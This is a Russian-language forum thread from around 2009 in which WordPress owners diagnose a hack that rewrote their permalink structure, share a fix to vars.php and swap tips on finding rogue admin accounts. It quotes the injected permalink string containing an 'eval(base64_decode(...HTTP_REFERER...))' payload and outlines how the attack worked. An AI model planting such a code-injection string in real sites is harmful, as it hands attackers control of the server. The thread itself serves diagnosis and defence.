Глючит ЧПУ
вместо ссылок на полную новость вида:
site.ru/yyyy/mm/dd/ssilka-na-novost/
имею:
site.ru/yyyy/mm/dd/ssilka-na-novost/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
при нажатии на такую ссылку получается страница с:
Bad Request
There was an error in your request.
сборка от lecactus 2.8.4 . В чем может быть проблема? куда копать?

Сам нашел как исправить, оказалось это попытка ломануть WP
описал как пофиксить у себя вот тут:
http://zeddy.ru/2009/09/04/segodnya-vordpress-slomali-eval-base64_decode-_serverhttp_referer-wp-hack/
А не расскажете, как юзер смог изменить ЧПУ, через какую щель пролез?
имхо шаблон был кодированный.
иначе вряд ли бы поломали именно wordpress и именно последней версии.
ну насчет шаблона трудно сказать.. таких взломанных по поиску в гугле оказалось более 2000 набирается..
Я уже знаю, где проблема. Но вслух не скажу, пока не будет найдено лекарство.
Я, кажется, нашел простой способ. Желающие могут попробовать. Думаю, хуже не будет.
Берем из дистрибутива 2.8.4 файл /wp-includes/vars.php и подкладываем своему WP.
Или в имеющемся файле после строки
$pagenow = $self_matches[1];
добавляем
$pagenow = trim($pagenow, ‘/’);
Разумеется, уже имеющихся паразитов надо будет погонять вручную.
Непонятно какие версии WordPress ломают. С 2.3.3 как дело обстоит?
Думаю, аналогично. Проверить не на чем, а ставить лень.
У меня ломали 2.7.1, спасибо Ю.Б. за совет, а официальный WordPress только апгрейд до 2.8.4 предлагает, что не есть гут.
У меня такая же проблема была… заметил ее через пару дней. После того, как все сделал и обновил ВП возникла трабла с хостингом – из-за смены ссылок с ЧПУ роботы забороли сервер. Специалист из Мастерхоста объяснил, что это виноват "mod_rewrite". Я честно говоря, не знаю что это и как это работает. Но возможно, что такое и есть…
Прописал по совету в robot.txt дополнительное правило:
User-agent: *
Crawl-delay: 10
Это сильно повлияет на индексируемость сайта?
UPD. Поломали 2.7.1. Сборка Кактуса.
2.5
2.5.1
Тоже уязвимы.
Посмотрел по коду, получается, что дырявые версии WordPress начиная с 2.2.3 и выше.
Типа того. Получается, что два года сидели на пороховой бочке (из-за одного символа в регэкспе – ? вместо *). И если бы хакер, получив админские права, не поленился вернуть на место ЧПУ, и дальше бы продолжали сидеть. 🙁
так ЧПУ используется для взлома? я думал для перенаправления трафика.
Подмена ЧПУ нужна для того, чтобы выполнился скрипт, дающий юзеру админские права и делающий этого юзера [почти] невидимым. Сам скрипт состоит из двух частей: одна, свернутая в base64, передается как referer, в ней указан логин и пароль "повышаемого в звании" юзера, а вторая, универсальная, часть вдогонку за первой тянется с китайского сервера. Какую-то зловещую роль тут играет xmlrpc.php, именно он получает скрипт referer. По крайней мере, в логе, что я смотрел, процесс происходил именно так: логин -> изменение ЧПУ -> xmlrpc.php с "реферером".
Спасибо за инфу, только так и не понял, атаке подвергаются все блоги или только те у которых открыта регистрация?
так говорите вот этим
можно пофиксить опасность в версиях от 2.3.3 ? А то некоторые сайты мне просто нельзя обновлять, ибо слетит сложный программинг в темах (ну, устаревшие фунции и т.д.) ?
Как можно определить взломан ли сайт? я так понимаю, если внастройках ЧПУ все ок, то еще ничего не значит?
Надеюсь, что можно. По крайней в 2.7.1 это сработало – "слева" зайти в настройки ЧПУ и экспорт не получилось. Вообще-то, в 2.8 есть и второй эшелон защиты – прямо в самих скриптах прописана проверка. В options-permalink.php так:
Но мне показалось, что для многих это будет слишком: не осилят и вообще плюнут. Или переломают всё нафиг. Поэтому ограничелся наиболее простой в реализации рекомендацией.
Определить наличие "левого" админа можно по количеству, не совпадающему с ожидаемым
и посмотрев глазками или селектом таблицу wp_usermeta на предмет админских прав и имен, содержащих всяку хрень, не сильно похожую на имя (там всякие div и script).
Хм, на хабре чуваки сказали что если фид /permalinks/rss не работает, то вас сломали. На одном из сайтов он у меня не работает, но кол-во админов правильное. Может этот фид не работает потому что я использую ЧПУ по умолчанию, по типу ?p=123 ?
Что это вообще за фид такой (/permalinks/rss), насколько он важен и какую роль отыгрывает?
Разумеется. Если в .htaccess нет правил для реврайта, то с какой радости работать такому урлу?
Это фид рубрики permalinks.
Ну, эт я понял 😀
Воть, значит надо чувакам на Хабрахабре выговор сделать за некорректно поданную инфу 😆
Ой, Хабр – тусовка мазохистов 😛 Нигде больше не встречал такого количества статей на тему "как принудить себя больше работать" 😀
PS Впрочем, от инвайта на Харб я б не отказался.
🙂 Да, жадные мазохисты, поделитесь инвайтами! )))
А честно заработать? 🙂
Не царское это дело – зарабатывать 😀
Я тут вспомнил что зареган, уже даже "вспомнил" пароль но чет не могу понять как инвайт выслать… 🙁
Наверное у тебя карма низкая. 🙂
ух ты, оказывается давно уже на хабре инвайты в ходу…
у меня тоже инвайтов нет 🙁
Mixa, посмотреть у себя инвайты можно так: http://username.habrahabr.ru/invites/
Кажись, пора переносить данную ветку в курилку )))
Полветки.
у меня там 2 аккаунта, но оба с -10..-20 кармы ((
на хабре невозможно жить с собственным мнением, надо подстраиваться под большинство – иначе закопают.
один единственный вопрос типа "что вы нашли в этом apple iphone? большой, неудобный, малофункциональный и дорогой" – и десяток минусов в карму обеспечено.
Ежели в одном месте убудет, то в другом месте прибыть должно, сказал Ломоносов. Так что ежели на Хабре кармы убудет…